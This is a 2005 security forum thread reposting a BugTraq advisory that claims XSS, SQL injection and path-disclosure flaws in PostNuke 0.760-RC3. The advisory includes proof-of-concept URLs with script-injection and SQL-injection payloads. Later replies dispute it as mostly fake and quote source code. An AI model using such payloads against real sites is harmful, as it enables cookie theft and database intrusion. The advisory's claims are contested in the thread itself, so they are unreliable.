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www.waraxe.us Forum Index -> PostNuke -> Multiple vulnerabilities in PostNuke 0.760-RC3
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Multiple vulnerabilities in PostNuke 0.760-RC3
PostPosted: Fri Apr 08, 2005 8:04 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




To: BugTraq
Subject: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: Apr 8 2005 2:36AM
Author: dcrab <dcrab hackerscenter com>
Message-ID: <20050408023602.4627.qmail@www.securityfocus.com>

Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more
at http://www.digitalparadox.org/services.ah

GET INFORMED FIRST ABOUT MY ADVISORIES http://www.digitalparadox.org

Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005

Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke
0.760-rc3.


Proof of Concept Exploits:

http://localhost/admin.php?module=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)

DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for
the right syntax to use near '\'SQL_INJECTION' at line 23


http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure

Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php
on line 976


http://localhost/user.php?op=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&module=NS-
NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input
validation before passing user input to the mysql database, or before echoing data
on the screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com,
please feel
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com
or http://digitalparadox.org/.
Lookout or my soon to come out book on Secure coding with php.

Source url: http://www.securityfocus.com/archive/1/395352
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PostPosted: Fri Apr 08, 2005 9:46 pm Reply with quote
cXIb8O3
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Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




hi waraxe
that is fake adv.

only
http://cvs.postnuke.com/viewcvs.cgi/Historic_PostNuke_Library/postnuke-devel/html/user.php.diff?r1=1.18&r2=1.19
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PostPosted: Fri Apr 08, 2005 10:54 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Well, i have not tested this, so i can't be sure. First look will tell, that those sql injections can be real only, if magic_quotes are off, but to be sure, i must look @ src code. Anyway - if its fake a ka nuked advisory, then let it stays here as example of the informational noise Smile
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PostPosted: Sat Apr 09, 2005 5:03 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Lol it might be another waraxe-2004-SA013 lol

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Sat Apr 09, 2005 7:28 am Reply with quote
cXIb8O3
Active user
Active user
 
Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




in 0.760-Rc3 is :

---
if (!defined('LOADED_AS_MODULE')) {
die ("You can't access this file directly...");
}

list ($save, $op, $mode, $order, $thold, $sid, $tid, $pageid) =
pnVarCleanFromInput('save', 'op', 'mode', 'order', 'thold', 'sid', 'tid', 'pageid');

if ((empty($sid) && empty($tid)) ||
(!is_numeric($sid) && !is_numeric($tid))) {
include 'header.php';
echo _MODARGSERROR;
include 'footer.php';
exit;
}
---

but in .750 exit; don't exist and is coming html problem.

If you wont realy sql injection.. wait to PNSA2005-2 and 0.760RC4 ;]
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PostPosted: Wed Jul 06, 2005 12:09 am Reply with quote
petitmaitreblanc
Regular user
Regular user
 
Joined: Jul 05, 2005
Posts: 18




shai-tan wrote:
Lol it might be another waraxe-2004-SA013 lol


nooo , it's a warhoaxe Cool
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Multiple vulnerabilities in PostNuke 0.760-RC3
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